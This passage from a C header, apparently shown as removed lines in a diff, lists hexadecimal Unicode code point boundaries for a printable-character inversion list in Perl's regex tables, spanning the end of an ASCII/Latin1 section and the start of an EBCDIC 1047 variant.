0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xE000, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXPRINT_invlist[] = { /* for EBCDIC 1047 */ - 1303, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xFF, - 0x100, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2028, - 0x202A, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xE000, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, 